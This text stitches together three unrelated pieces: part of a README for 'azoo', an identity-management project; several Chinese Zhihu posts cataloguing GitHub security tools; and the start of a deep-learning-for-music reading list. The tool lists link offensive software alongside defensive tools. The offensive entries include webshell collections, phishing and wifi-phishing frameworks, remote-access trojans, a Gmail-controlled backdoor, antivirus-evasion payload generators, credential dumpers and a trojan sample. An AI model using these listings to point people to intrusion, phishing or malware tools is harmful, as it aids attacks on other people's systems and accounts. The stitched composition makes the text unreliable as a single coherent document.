<sub>This is a partial rewrite of libraries and services developed since 2016 for all kinds of different projects from <a href="https://github.com/harwoeck">Florian Harwoeck</a>. The goal is a self-contained project that doesn't depend on all my internal generators and helpers, but rather only uses open-source software. This should improve code quality, maintainability and make it easier and faster to use in new projects without my handcrafted skeleton and without Go as a language-requirement.</sub><br><br>
<sub>During the rewrite some core technologies are switched out and replaced (for example from <a href="https://grpc.io/">GRPC</a> to <a href="https://twitchtv.github.io/twirp/docs/intro.html">Twirp</a>, from <a href="https://www.vaultproject.io/">Vault</a> to <a href="./utils/dvx">Dragon-DVX</a>, etc.) so this project can be easily integrated in a wider variaty of systems. Furthermore many design decisions are revised slightly to achive <strong>ASVS Level 3 "readiness"</strong>.</sub>
<img width="2000" height="0">
</td>
</tbody>
</table>
</p>
- Should include [CII-Best-Practices](https://bestpractices.coreinfrastructure.org/en) badge when finished
- Should include License badge
- Should include pkg.go.dev badge
- Should include Documentation badge to GitBook
## Features
- Handles all aspects of Customer Identity and Access Management (CIAM) with an API-first (headless) approach and no reliance/dependency on any template or theming engine. Things taken care of for you are:
- managing credentials such as passwords, recovery tokens, etc.
- user identifiers such as username, email, etc. in a blind-indexed lookup store
- authentication (user identifier + password) including support for secure MFA options (TOTP and WebAuthn FIDO2)
- authorization and role management (using RBAC rules with domain-tenant support)
- keeping track of sessions (and their immediate revocation)
- selfservice management for identities (updating their names, profiles, add/remove emails, usernames, passwords, etc.). With configuration options to disable selfservice on individual attributes.
- providing admin endpoints for managing other identities
- Modular and easily extensible
- Easy to scale horizontally or run in a highly-available mode
- Ability to run without external components (load-balancers, caches, etc.) and as a single integrated dev-container for local development
- Small footprint - Go binary inside a scratch container (~10mb)
- Documentation for easy setup inside a K8S environment with [service meshes](https://servicemesh.es/) like [Linkered](https://linkerd.io/)
## Introduction
<p align="center">
<img src="./docs/azoo.png" alt="Picture of azoo's recommended production architecture" height="500">
</p>
_azoo_'s main architectural components:
- 🦌 **deer**: Custom HTTP1.1, HTTP2 and gRPC proxy that should be used as a Sidecar to your application. It authenticates and authorizes requests and annotates them with meta-information (Trace-Id, [`Passport`](), etc.) for downstream consumers.
- 🐢 **turtle**: Library for merging different _azoo_ services into a single executable, while connecting them to themselves and their surroundings properly.
- 🦫 **beaver**: authentication as a service
- responsible for storing credentials / tokens / etc. and match them to a user-id
- users can authenticate with beaver and receive authentication tokens
- 🦍 **gorilla**: authorization as a service
- internally wraps a [Casbin](https://casbin.org/) server for RBAC (with Tenants) authorization management
- users can receive and update roles
- 🐋 **whale**: identity & user management service
- responsible for storing user information. Only service that stores PII (personal identifiable information)
- users can receive and update their information
- 🦏 **rhino** cryptographically verifiable append-only log system
- stores [security log events](https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html) in a KV-store
- appends hash-chain-like hashes to [Trillian](https://github.com/google/trillian)
- provides CLI tool to import last X events into ELK (or other [SIEM](https://en.wikipedia.org/wiki/Security_information_and_event_management)) (and verify their integrity with Trillian)
- 🐉 **dragon**: cryptography as a service
- Twirp service around a [`dvx.Protocol`](./utils/dvx) instance
- Creates a seperation of concern for secret-key management and implements clear boundary-boxes from which secrets never leave.
- Provides Encryption, Decryption, Signing, Verification, MAC and TOTP as-a-service.
- Derives secret keys from an internal root-secret or a hardware-security-module HSM (via PKCS#11) using key-ring identifieres
- Protects it's memory using [`mlockall(2)`](https://linux.die.net/man/2/mlockall)
### Modularity
Because _azoo_ is built in a highly modular architecture it can be run in a variety of different configurations, while only changing small parts of initialization code or configuration values:
<table>
<tbody>
<tr>
<th><strong>Recommended production mode</strong></th>
<th><strong>Local Development mode</strong></th>
</tr>
<tr>
<td><img src="./docs/azoo.png" alt="Picture of azoo's recommended production architecture"></td>
<td><img src="./docs/azoo_devmode.png" alt="Picture of azoo's devmode architecture"></td>
</tr>
<tr>
<th><strong>Highly-Available deployment</strong></th>
<th><strong>...</strong></th>
</tr>
<tr>
<td><img src="./docs/azoo_ha.png" alt="Picture of azoo's highly-available deployment architecture"></td>
<td><ul><li>Don't like <i>dragon</i>? Switch it out ...</li><li>Want to run only <i>beaver</i> in HA-mode? Just a configuration away ...</li><li>Would like to use managed services like <a href="https://aws.amazon.com/solutions/implementations/centralized-logging/">AWS Centralized Logging</a> instead of <i>rhino</i>? Only need to write a few lines of Go-code to wrap your product in an <code>rhino.Rhino</code> interface and provide it as an <a href="https://pkg.go.dev/go.uber.org/fx">fx</a>-Module</li></ul><sub>Use the <strong>Discussions</strong> tab to ask questions about and get help for your deployment strategy</sub></td>
</tr>
</tbody>
</table>
|
---
title: 黑客工具大搜罗
---
各种好玩的安全攻防工具。
# 安全工具（go语言）
|序号|名称|项目地址|简介|
| ----- | ----- | ----- | ----- |
| 1 | gomitmproxy | https://github.com/sheepbao/gomitmproxy | GomitmProxy是想用golang语言实现的mitmproxy，主要实现http代理，目前实现了http代理和https抓包功能。 |
| 2 | Hyperfox | http://github.com/xiam/hyperfox | Hyperfox 是一个安全的工具用来代理和记录局域网中的 HTTP 和 HTTPS 通讯。 |
| 3 | Gryffin | http://github.com/yahoo/gryffin | Gryffin 是雅虎开发的一个大规模 Web 安全扫描平台。它不是另外一个扫描器，其主要目的是为了解决两个特定的问题 —— 覆盖率和伸缩性。 |
| 4 | ngrok | http://github.com/inconshreveable/ngrok | ngrok 是一个反向代理，通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道。ngrok 可捕获和分析所有通道上的流量，便于后期分析和重放。|
# 安全工具（c语言）
|序号|名称|项目地址|简介|
| ----- | ----- | ----- | ----- |
| 1 | Cknife | https://github.com/Chora10/Cknife | 俗称“中国菜刀”， 一个渗透测试软件 |
| 2 | mimikatz | https://github.com/gentilkiwi/mimikatz | windows渗透工具， 可用于提权操作， 破解管理员密码等 |
# 安全工具（python语言）
|序号|名称|项目地址|简介|
| ----- | ----- | ----- | ----- |
| 1| mitmproxy | https://github.com/mitmproxy/mitmproxy | 中间人攻击工具 |
# 安全工具（ruby语言）
|序号|名称|项目地址|简介|
| ----- | ----- | ----- | ----- |
| 1| PhishLulz | https://github.com/antisnatchor/phishlulz | 高级自动化钓鱼框架, 只需要10分钟就能搭建起钓鱼环境，进行精确的钓鱼攻击。 |
# 杂
|序号|名称|项目地址|简介|
| ----- | ----- | ----- | ----- |
| 1 | hacker-scripts | https://github.com/NARKOZ/hacker-scripts | 一些无厘头的职场自动化脚本，自动处理和回复一些无聊的事情 |
| 2 | VulApps | https://github.com/Medicean/VulApps | 快速搭建各种漏洞环境(Various vulnerability environment) https://hub.docker.com/r/medicean/vulapps/ 收集各种漏洞环境，为方便使用，统一采用 Dockerfile 形式。 |
| 3 | openftp4 |https://github.com/massivedynamic/openftp4| 可以匿名登陆的ftp清单 |
--------
作者：天谕
链接：https://zhuanlan.zhihu.com/p/21380662
来源：知乎
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。
- - - - ---
漏洞及渗透练习平台：
WebGoat漏洞练习环境
https://github.com/WebGoat/WebGoat
https://github.com/WebGoat/WebGoat-Legacy
Damn Vulnerable Web Application(漏洞练习平台)
https://github.com/RandomStorm/DVWA
数据库注入练习平台
https://github.com/Audi-1/sqli-labs
用node编写的漏洞练习平台，like OWASP Node Goat
https://github.com/cr0hn/vulnerable-node
花式扫描器 ：
端口扫描器Nmap
https://github.com/nmap/nmap
本地网络扫描器
https://github.com/SkyLined/LocalNetworkScanner
子域名扫描器
https://github.com/lijiejie/subDomainsBrute
漏洞路由扫描器
https://github.com/jh00nbr/Routerhunter-2.0
迷你批量信息泄漏扫描脚本
https://github.com/lijiejie/BBScan
Waf类型检测工具
https://github.com/EnableSecurity/wafw00f
信息搜集工具 :
社工插件，可查找以email、phone、username的注册的所有网站账号信息
https://github.com/n0tr00t/Sreg
Github信息搜集，可实时扫描查询git最新上传有关邮箱账号密码信息
https://github.com/sea-god/gitscan
github Repo信息搜集工具
https://github.com/metac0rtex/GitHarvester
WEB：
webshell大合集
https://github.com/tennc/webshell
渗透以及web攻击脚本
https://github.com/brianwrf/hackUtils
web渗透小工具大合集
https://github.com/rootphantomer/hack_tools_for_me
XSS数据接收平台
https://github.com/firesunCN/BlueLotus_XSSReceiver
XSS与CSRF工具
https://github.com/evilcos/xssor
Short for command injection exploiter，web向命令注入检测工具
https://github.com/stasinopoulos/commix
数据库注入工具
https://github.com/sqlmapproject/sqlmap
Web代理，通过加载sqlmap api进行sqli实时检测
https://github.com/zt2/sqli-hunter
新版中国菜刀
https://github.com/Chora10/Cknife
.git泄露利用EXP
https://github.com/lijiejie/GitHack
浏览器攻击框架
https://github.com/beefproject/beef
自动化绕过WAF脚本
https://github.com/khalilbijjou/WAFNinja
http命令行客户端，可以从命令行构造发送各种http请求（类似于Curl）
https://github.com/jkbrzt/httpie
浏览器调试利器
https://github.com/firebug/firebug
一款开源WAF
https://github.com/SpiderLabs/ModSecurity
windows域渗透工具：
windows渗透神器
https://github.com/gentilkiwi/mimikatz
Powershell渗透库合集
https://github.com/PowerShellMafia/PowerSploit
Powershell tools合集
https://github.com/clymb3r/PowerShell
Fuzz:
Web向Fuzz工具
https://github.com/xmendez/wfuzz
HTTP暴力破解，撞库攻击脚本
https://github.com/lijiejie/htpwdScan
漏洞利用及攻击框架：
msf
https://github.com/rapid7/metasploit-framework
Poc调用框架，可加载Pocsuite,Tangscan，Beebeeto等
https://github.com/erevus-cn/pocscan
Pocsuite
https://github.com/knownsec/Pocsuite
Beebeeto
https://github.com/n0tr00t/Beebeeto-framework
漏洞POC&EXP:
ExploitDB官方git版本
https://github.com/offensive-security/exploit-database
php漏洞代码分析
https://github.com/80vul/phpcodz
Simple test for CVE-2016-2107
https://github.com/FiloSottile/CVE-2016-2107
CVE-2015-7547 POC
https://github.com/fjserna/CVE-2015-7547
JAVA反序列化POC生成工具
https://github.com/frohoff/ysoserial
JAVA反序列化EXP
https://github.com/foxglovesec/JavaUnserializeExploits
Jenkins CommonCollections EXP
https://github.com/CaledoniaProject/jenkins-cli-exploit
CVE-2015-2426 EXP (windows内核提权)
https://github.com/vlad902/hacking-team-windows-kernel-lpe
use docker to show web attack(php本地文件包含结合phpinfo getshell 以及ssrf结合curl的利用演示)
https://github.com/hxer/vulnapp
php7缓存覆写漏洞Demo及相关工具
https://github.com/GoSecure/php7-opcache-override
XcodeGhost木马样本
https://github.com/XcodeGhostSource/XcodeGhost
中间人攻击及钓鱼
中间人攻击框架
https://github.com/secretsquirrel/the-backdoor-factory
https://github.com/secretsquirrel/BDFProxy
https://github.com/byt3bl33d3r/MITMf
Inject code, jam wifi, and spy on wifi users
https://github.com/DanMcInerney/LANs.py
可扩展的中间人代理工具
https://github.com/intrepidusgroup/mallory
wifi钓鱼
https://github.com/sophron/wifiphisher
密码破解：
密码破解工具
https://github.com/shinnok/johnny
本地存储的各类密码提取利器
https://github.com/AlessandroZ/LaZagne
二进制及代码分析工具：
二进制分析工具
https://github.com/devttys0/binwalk
系统扫描器，用于寻找程序和库然后收集他们的依赖关系，链接等信息
https://github.com/quarkslab/binmap
rp++ is a full-cpp written tool that aims to find ROP sequences in PE/Elf/Mach-O (doesn't support the FAT binaries) x86/x64 binaries.
https://github.com/0vercl0k/rp
Windows Exploit Development工具
https://github.com/lillypad/badger
二进制静态分析工具（python）
https://github.com/bdcht/amoco
Python Exploit Development Assistance for GDB
https://github.com/longld/peda
对BillGates Linux Botnet系木马活动的监控工具
https://github.com/ValdikSS/billgates-botnet-tracker
木马配置参数提取工具
https://github.com/kevthehermit/RATDecoders
Shellphish编写的二进制分析工具（CTF向）
https://github.com/angr/angr
针对python的静态代码分析工具
https://github.com/yinwang0/pysonar2
一个自动化的脚本（shell）分析工具，用来给出警告和建议
https://github.com/koalaman/shellcheck
基于AST变换的简易Javascript反混淆辅助工具
https://github.com/ChiChou/etacsufbo
EXP编写框架及工具：
二进制EXP编写工具
https://github.com/t00sh/rop-tool
CTF Pwn 类题目脚本编写框架
https://github.com/Gallopsled/pwntools
an easy-to-use io library for pwning development
https://github.com/zTrix/zio
跨平台注入工具（ Inject JavaScript to explore native apps on Windows, Mac, Linux, iOS and Android.）
https://github.com/frida/frida
隐写：
隐写检测工具
https://github.com/abeluck/stegdetect
各类安全资料:
域渗透教程
https://github.com/l3m0n/pentest_study
python security教程（原文链接http://www.primalsecurity.net/tutorials/python-tutorials/）
https://github.com/smartFlash/pySecurity
data_hacking合集
https://github.com/ClickSecurity/data_hacking
https://github.com/ClickSecurity/data_hacking
mobile-security-wiki
https://github.com/exploitprotocol/mobile-security-wiki
书籍《reverse-engineering-for-beginners》
https://github.com/veficos/reverse-engineering-for-beginners
一些信息安全标准及设备配置
https://github.com/luyg24/IT_security
APT相关笔记
https://github.com/kbandla/APTnotes
Kcon资料
https://github.com/knownsec/KCon
ctf及黑客资源合集
https://github.com/bt3gl/My-Gray-Hacker-Resources
ctf和安全工具大合集
https://github.com/zardus/ctf-tools
《DO NOT FUCK WITH A HACKER》
https://github.com/citypw/DNFWAH
各类CTF资源
近年ctf writeup大全
https://github.com/ctfs/write-ups-2016
https://github.com/ctfs/write-ups-2015
https://github.com/ctfs/write-ups-2014
fbctf竞赛平台Demo
https://github.com/facebook/fbctf
ctf Resources
https://github.com/ctfs/resources
各类编程资源:
大礼包（什么都有）
https://github.com/bayandin/awesome-awesomeness
bash-handbook
https://github.com/denysdovhan/bash-handbook
python资源大全
https://github.com/jobbole/awesome-python-cn
git学习资料
https://github.com/xirong/my-git
安卓开源代码解析
https://github.com/android-cn/android-open-project-analysis
python框架，库，资源大合集
https://github.com/vinta/awesome-python
JS 正则表达式库（用于简化构造复杂的JS正则表达式）
https://github.com/VerbalExpressions/JSVerbalExpressions
Python：
python 正则表达式库（用于简化构造复杂的python正则表达式）
https://github.com/VerbalExpressions/PythonVerbalExpressions
python任务管理以及命令执行库
https://github.com/pyinvoke/invoke
python exe打包库
https://github.com/pyinstaller/pyinstaller
py3 爬虫框架
https://github.com/orf/cyborg
一个提供底层接口数据包编程和网络协议支持的python库
https://github.com/CoreSecurity/impacket
python requests 库
https://github.com/kennethreitz/requests
python 实用工具合集
https://github.com/mahmoud/boltons
python爬虫系统
https://github.com/binux/pyspider
ctf向 python工具包
https://github.com/P1kachu/v0lt
科学上网：
科学上网工具
https://github.com/XX-net/XX-Net
福利：
微信自动抢红包动态库
https://github.com/east520/AutoGetRedEnv
微信抢红包插件（安卓版）
https://github.com/geeeeeeeeek/WeChatLuckyMoney
神器
https://github.com/yangyangwithgnu/hardseed
- - - - ----
作者：天谕
链接：https://zhuanlan.zhihu.com/p/22110538
来源：知乎
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。
- - - - ---
漏洞及渗透练习平台：
https://github.com/710leo/ZVulDrill
Web漏洞演练平台
https://github.com/cliffe/secgen
Ruby编写的一款工具，生成含漏洞的虚拟机
花式扫描器：
https://github.com/aboul3la/Sublist3r
子域名爆破扫描器
https://github.com/TheRook/subbrute
子域名爆破扫描器
https://github.com/andresriancho/w3af
Web漏洞扫描器
https://github.com/maurosoria/dirsearch
Web路径扫描器
https://github.com/shawarkhanethicalhacker/BruteXSS
XSS多功能扫描器
https://github.com/rbsec/sslscan
SSL类型扫描器
https://github.com/urbanadventurer/whatweb
网站指纹识别工具，用来检测网站CMS类型，所采用的博客系统类型，JS库，web服务器，甚至版本号，email地址，web框架等
https://github.com/ciscocsirt/malspider
一款爬虫框架，用来检测网站是否被恶意攻击过
https://github.com/wpscanteam/wpscan
wordpress漏洞扫描器
https://github.com/misterch0c/firminator_backend
固件漏洞扫描器
https://github.com/wilson9x1/fenghuangscanner_v3
常见服务端口弱口令扫描器
https://github.com/darryllane/Bluto
信息探测及扫描工具（DNS及邮件枚举等）
https://github.com/sowish/LNScan
内部网络扫描器
https://github.com/linuz/Sticky-Keys-Slayer
远程桌面登录扫描器
https://github.com/infosec-au/altdns
子域名字典组合生成及暴力破解器
https://github.com/SECFORCE/sparta
网络基础设施渗透工具（集成nmap和hydra等）
https://github.com/SECFORCE/SNMP-Brute
Fast SNMP brute force, enumeration, CISCO config downloader and password cracking script
https://github.com/sullo/nikto
web server scanner
https://github.com/code-scan/dzscan
discuz论坛漏洞扫描器
https://github.com/nanshihui/Scan-T
网络空间指纹扫描器
https://github.com/ilmila/J2EEScan
J2EE漏洞扫描器burp插件
甲方安全工程师生存指南：
https://github.com/thomaspatzke/WASE
web索引及日志搜索工具
https://github.com/Kozea/wdb
一款CS结构的web debuger
https://github.com/aramosf/recoversqlite/
recover information from deleted registers in sqlite databases.
https://github.com/epinna/tplmap
自动化的模板注入攻击检测工具
https://github.com/client9/libinjection
sqli词法解析分析器
https://github.com/zxsecurity/gpsnitch
gps欺骗检测工具
https://github.com/biggiesmallsAG/nightHawkResponse
应急处置响应框架
https://github.com/FallibleInc/security-guide-for-developers
web安全开发指南
https://github.com/4ido10n/wooyun-drops-all-articles-package
乌云知识库全部文章
https://github.com/paralax/awesome-honeypots
蜜罐资源合集
https://github.com/wufeifei/cobra
自动化代码审计工具
https://github.com/HatBoy/Pcap-Analyzer
python编写的离线网络数据包分析器
https://github.com/leonteale/pentestpackage
渗透测试常见小工具打包
WEB：
https://github.com/owtf/wafbypasser
WAF绕过检测工具
https://github.com/julienbedard/browsersploit
浏览器攻击框架
https://github.com/guillotines/WebShell
web端webshell管理器
https://github.com/mgeeky/tomcatWarDeployer
tomcat自动后门部署
Windows域渗透工具：
https://github.com/enddo/awesome-windows-exploitation
windows漏洞利用相关整理
https://github.com/putterpanda/mimikittenz
从内存中提取敏感信息的工具
https://github.com/chango77747/AdEnumerator
https://github.com/Raikia/CredNinja
https://github.com/ChrisTruncer/WMIOps
https://github.com/ChrisTruncer/EyeWitness
https://github.com/ChrisTruncer/Egress-Assess
fireeye红军渗透工具
各类安全资料：
https://github.com/phith0n/Mind-Map
安全脑图合集
https://github.com/SecWiki/sec-chart/tree/294d7c1ff1eba297fa892dda08f3c05e90ed1428
有关信息安全的一些流程图收集
漏洞POC&EXP：
https://github.com/citronneur/rdp
哈希长度扩展攻击EXP
蜜罐：
https://github.com/desaster/kippo
SSH Honeypot
https://github.com/micheloosterhof/cowrie
kippo进阶版
https://github.com/awhitehatter/mailoney
SMTP honeypot
https://github.com/mushorg/glastopf
Web Application honeypot
https://github.com/jordan-wright/elastichoney
数据库蜜罐
https://github.com/atiger77/Dionaea
Web蜜罐
作者：天谕
链接：https://zhuanlan.zhihu.com/p/22684414
来源：知乎
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。
==========================华丽丽的分割线==========================
漏洞及渗透练习平台：
https://github.com/Medicean/VulApps
多种漏洞练习环境
花式扫描器：
GitHub - presidentbeef/brakeman: A static analysis security vulnerability scanner for Ruby on Rails applications
Ruby on Rails应用静态分析工具
GitHub - future-architect/vuls: Vulnerability scanner for Linux/FreeBSD, agentless, written in Go
linux漏洞扫描器
GitHub - m0nad/HellRaiser: Vulnerability Scanner
基于端口的漏扫及CVE关联
甲方安全工程师生存指南：
GitHub - juliocesarfort/public-pentesting-reports: Curated list of public penetration test reports released by several consulting firms and academic security groups
各知名厂商渗透测试报告模板
GitHub - codejanus/ToolSuite: Security tools
安全工具合集
GitHub - mthbernardes/ARTLAS: Apache Real Time Logs Analyzer System
apache实时日志分析器（on Telegram, Zabbix and Syslog/SIEM）
GitHub - Nummer/Destroy-Windows-10-Spying: Destroy Windows Spying tool
Destroy-Windows-10-Spying
https://github.com/pwnsdx/BadCode
PHP代码审计扫描器
GitHub - rfxn/linux-malware-detect: Linux Malware Detection (LMD)
linux下恶意代码检测包
GitHub - facebook/osquery: SQL powered operating system instrumentation, monitoring, and analytics.
操作系统运行指标可视化框架
https://github.com/jipegit/OSXAuditor
Mac OS下取证工具
GitHub - cuckoosandbox/cuckoo: Cuckoo Sandbox is an automated dynamic malware analysis system
恶意代码分析系统
GitHub - Netflix/Scumblr
定期搜索及存储web应用，可搜漏洞讨论等等
GitHub - google/grr: GRR Rapid Response: remote live forensics for incident response
事件响应框架（focus on 远程取证）
GitHub - mozilla/MozDef: MozDef: The Mozilla Defense Platform
The Mozilla Defense Platform
GitHub - ossec/ossec-hids: OSSEC is an Open Source Host-based Intrusion Detection System that performs log analysis, file integrity checking, policy monitoring, rootkit detection, real-time alerting and active response.
综合主机监控检测平台（包含主机防火墙，日志监控，SIEM等）
GitHub - Yelp/osxcollector: A forensic evidence collection & analysis toolkit for OS X
OS X远程取证与分析工具包
GitHub - mozilla/mig: Distributed & real time digital forensics at the speed of the cloud
分布式实时数字取证系统
GitHub - sleuthkit/sleuthkit: The Sleuth Kit® (TSK) is a library and collection of command line digital forensics tools that allow you to investigate volume and file system data. The library can be incorporated into larger digital forensics tools and the command line tools can be directly used to find evidence.
Microsoft & Unix 文件系统及硬盘取证工具
https://github.com/OpenSCAP/openscap
Open Source Security Compliance Solution
https://github.com/wgliang/logcool
开源准实时日志采集器
https://github.com/goldshtn/etrace
windows实时ETW事件处理工具
GitHub - Microsoft/perfview: PerfView is a performance-analysis tool that helps isolate CPU- and memory-related performance issues.
CPU及内存相关性能分析工具
WEB：
GitHub - fengxuangit/Fox-scan: Fox-scan is a initiative and passive SQL Injection vulnerable Test tools.
通过调用sqlmap api，自动检测sqli的代理
GitHub - Veil-Framework/Veil-Evasion: Veil-Evasion is a tool used to generate payloads that bypass antivirus solutions
免杀payload生成器
GitHub - byt3bl33d3r/gcat: A fully featured backdoor that uses Gmail as a C&C server
用gmail充当C&C服务器的后门
远控：
GitHub - UbbeLoL/uRAT: Opensource modular Remote Administration Tool
开源模块化远控工具
GitHub - hussein-aitlahcen/BlackHole: C# RAT (Remote Administration Tool)
C#远控工具
漏洞POC&EXP：
GitHub - GrrrDog/Java-Deserialization-Cheat-Sheet: The cheat sheet about Java Deserialization vulnerabilities
JAVA反序列化漏洞相关资源列表
二进制及代码分析工具：
GitHub - suraj-root/smap: Shellcode mapper
shellcode分析工具
GitHub - zscproject/OWASP-ZSC: OWASP ZSCGitHub - zscproject/OWASP-ZSC: OWASP ZSC
Shellcode/Obfuscate Code Generator
GitHub - korcankaraokcu/PINCE: A reverse engineering tool that'll (hopefully) supply the place of Cheat Engine for linux
linux下逆向工具
GitHub - panagiks/RSPET: RSPET (Reverse Shell and Post Exploitation Tool) is a Python based reverse shell equipped with functionalities that assist in a post exploitation scenario.
Reverse Shell and Post Exploitation Tool
GitHub - programa-stic/barf-project: BARF : A multiplatform open source Binary Analysis and Reverse engineering Framework
跨平台二进制分析及逆向工具
Python：
GitHub - gstarnberger/uncompyle: Python decompiler
pyc反编译脚本
https://github.com/jameslyons/pycipher
pycipher python加解密库
https://github.com/nvdv/vprof
可视化python性能分析工具
FUZZ:
https://github.com/MozillaSecurity/peach
fuzzing framework
GitHub - google/honggfuzz: A general-purpose, easy-to-use fuzzer with interesting analysis options. Supports feedback-driven fuzzing based on code coverage
A general-purpose, easy-to-use fuzzer with interesting analysis options.
GitHub - fuzzing/MFFA: Media Fuzzing Framework for Android
Media Fuzzing Framework for Android
GitHub - MindMac/IntentFuzzer: A Tool to fuzz Intent on Android
A tool to fuzz Intent Android
GitHub - MozillaSecurity/fuzzdata: Fuzzing resources for feeding various fuzzers with input.
Fuzzing资源
GitHub - ele7enxxh/android-afl: Fuzzing Android program with american fuzzy lop (AFL)
AFL的Android移植版本
Github 安全军火库（四）
希望今年能够更加努力一点，早日在菜的抠脚的队伍中稳健成长。
==========================华丽丽的分割线==========================
先安利一个网站，我平时经常看，觉得内容都挺不错的。
安全行业从业人员自研开源扫描器合集（2017/01/11更新）-MottoIN
这篇文章主要是针对扫描器这一块的开源项目做了收集和规整，理的很清楚，里面的项目我就不拿出来罗列了。
==========================华丽丽的分割线==========================
漏洞及渗透练习平台：
rapid7/metasploitable3
metasploitable3
stamparm/DSVW
轻量web漏洞演示平台
MyKings/docker-vulnerability-environment
docker搭建的漏洞练习环境
joe-shenouda/awesome-cyber-skills
黑客技术训练环境
OWASP/SecurityShepherd
web及app渗透训练平台
花式扫描器：
ysrc/GourdScanV2
被动式漏洞扫描系统
ring04h/wydomain
子域名扫描器
ysrc/F-Scrack
服务弱口令检测脚本
thesp0nge/dawnscanner
ruby源码扫描工具
zer0h/httpscan
web主机发现小工具
maxlabelle/WebMalwareScanner
A simple malware scanner
youngyangyang04/NoSQLAttack
MongoDB漏洞扫描器
az0ne/AZScanner
自动漏扫
Screetsec/Dracnmap
集成Nmap的一款端口扫描器
maK-/parameth
Get Post参数扫描器
delvelabs/vane
A GPL fork of the popular wordpress vulnerability scanner WPScan
stanislav-web/OpenDoor
路径扫描器
golismero/golismero
web扫描器
We5ter/Scanners-Box
安全行业从业人员自研开源扫描器合集
Graph-X/davscan
Fingerprints servers, finds exploits, scans WebDAV.
lietdai/doom
分布式任务分发端口扫描器
angryziber/ipscan
fast and friendly network scanner
甲方安全工程师生存指南：
hslatman/awesome-threat-intelligence
威胁情报资源
arthepsy/ssh-audit
tool for ssh server auditing
keithjjones/visualize_logs
A Python library and command line tools to provide interactive log visualization
m4rco-/dorothy2
一个僵尸网络分析框架
lightbulb-framework/lightbulb-framework
WAFS审计工具
Xyntax/1000php
1000个php代码审计案例
aker-gateway/Aker
基于 python 的 Linux ssh 跳板机/堡垒机设置工具
andrewjkerr/security-cheatsheets
Linux常见命令及部分安全软件使用命令列表
JacobReynolds/ssrfDetector
ssrfDetector
yassineaddi/BackdoorMan
PHP后门检测工具
CISOfy/lynis
Security auditing and hardening tool, for UNIX-based systems
SpamScope/spamscope
垃圾邮件分析工具
yassineaddi/BackdoorMan
恶意代码，php shell检测工具
OWASP/django-DefectDojo
安全程序和漏洞管理工具
Neohapsis/NeoPI
混淆代码检测工具
emposha/Shell-Detector
webshell检测工具
Web:
1N3/IntruderPayloads
burp instruder payloads collection
Neohapsis/bbqsql
A Blind SQL Injection Exploitation Tool
antoor/antSword
antSword
xl7dev/BurpSuite
burp插件收集项目
rastating/wordpress-exploit-framework
一个用来攻击wp的框架
lijiejie/ds_store_exp
.DS_store文件泄露利用脚本
漏洞POC&EXP：
joaomatosf/jexboss
JBOSS verify & exp tool
jiayy/android_vuln_poc-exp
安卓十月漏洞POC
ganliuzhuo/Sebug
在sebug提交的漏洞详情及poc
Fuzz:
google/fuzzer-test-suite
Set of tests for fuzzing engines
renatahodovan/fuzzinator
Fuzzinator Random Testing Framework
henshin/filebuster
web fuzz
如果当中有描述不正确的地方，请老司机们多多指教，鞠躬！
|
<img align="right" src="fig/logo.png">
# Deep Learning for Music (DL4M) [](https://github.com/sindresorhus/awesome)
By [Yann Bayle](http://yannbayle.fr/english/index.php) ([Website](http://yannbayle.fr/english/index.php), [GitHub](https://github.com/ybayle)) from LaBRI ([Website](http://www.labri.fr/), [Twitter](https://twitter.com/labriOfficial/)), Univ. Bordeaux ([Website](https://www.u-bordeaux.fr/), [Twitter](https://twitter.com/univbordeaux)), CNRS ([Website](http://www.cnrs.fr/), [Twitter](https://twitter.com/CNRS)) and SCRIME ([Website](https://scrime.u-bordeaux.fr/)).
**TL;DR** Non-exhaustive list of scientific articles on deep learning for music: [summary](#dl4m-summary) (Article title, pdf link and code), [details](dl4m.tsv) (table - more info), [details](dl4m.bib) (bib - all info)
The role of this curated list is to gather scientific articles, thesis and reports that use deep learning approaches applied to music.
The list is currently under construction but feel free to contribute to the missing fields and to add other resources! To do so, please refer to the [How To Contribute](#how-to-contribute) section.
The resources provided here come from my review of the state-of-the-art for my PhD Thesis for which an article is being written.
There are already surveys on deep learning for [music generation](https://arxiv.org/pdf/1709.01620.pdf), [speech separation](https://arxiv.org/ftp/arxiv/papers/1708/1708.07524.pdf) and [speaker identification](https://www.researchgate.net/profile/Seyed_Reza_Shahamiri/publication/319158024_Speaker_Identification_Features_Extraction_Methods_A_Systematic_Review/links/599e2816aca272dff12fdef1/Speaker-Identification-Features-Extraction-Methods-A-Systematic-Review.pdf).
However, these surveys do not cover music information retrieval tasks that are included in this repository.
## Table of contents
- [DL4M summary](#dl4m-summary)
- [DL4M details](#dl4m-details)
- [Code without articles](#code-without-articles)
- [Statistics and visualisations](#statistics-and-visualisations)
- [Advices for reviewers of dl4m articles](#advices-for-reviewers-of-dl4m-articles)
- [How To Contribute](#how-to-contribute)
- [FAQ](#faq)
- [Acronyms used](#acronyms-used)
- [Sources](#sources)
- [Contributors](#contributors)
- [Other useful related lists](#other-useful-related-lists-and-resources)
- [Cited by](#cited-by)
- [License](#license)
## DL4M summary
| Year | Articles, Thesis and Reports | Code |
|------|-------------------------------|------|
| 1988 | Neural net modeling of music | No |
| 1988 | [Creation by refinement: A creativity paradigm for gradient descent learning networks](http://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=23933) | No |
| 1988 | A sequential network design for musical applications | No |
| 1989 | [The representation of pitch in a neural net model of chord classification](http://www.jstor.org/stable/3679550) | No |
| 1989 | [Algorithms for music composition by neural nets: Improved CBR paradigms](https://quod.lib.umich.edu/cgi/p/pod/dod-idx/algorithms-for-music-composition.pdf?c=icmc;idno=bbp2372.1989.044;format=pdf) | No |
| 1989 | [A connectionist approach to algorithmic composition](http://www.jstor.org/stable/3679551) | No |
| 1994 | [Neural network music composition by prediction: Exploring the benefits of psychoacoustic constraints and multi-scale processing](http://www-labs.iro.umontreal.ca/~pift6080/H09/documents/papers/mozer-music.pdf) | No |
| 1995 | [Automatic source identification of monophonic musical instrument sounds](https://www.researchgate.net/publication/3622871_Automatic_source_identification_of_monophonic_musical_instrument_sounds) | No |
| 1995 | [Neural network based model for classification of music type](http://ieeexplore.ieee.org/abstract/document/514161/) | No |
| 1997 | [A machine learning approach to musical style recognition](http://repository.cmu.edu/cgi/viewcontent.cgi?article=1496&context=compsci) | No |
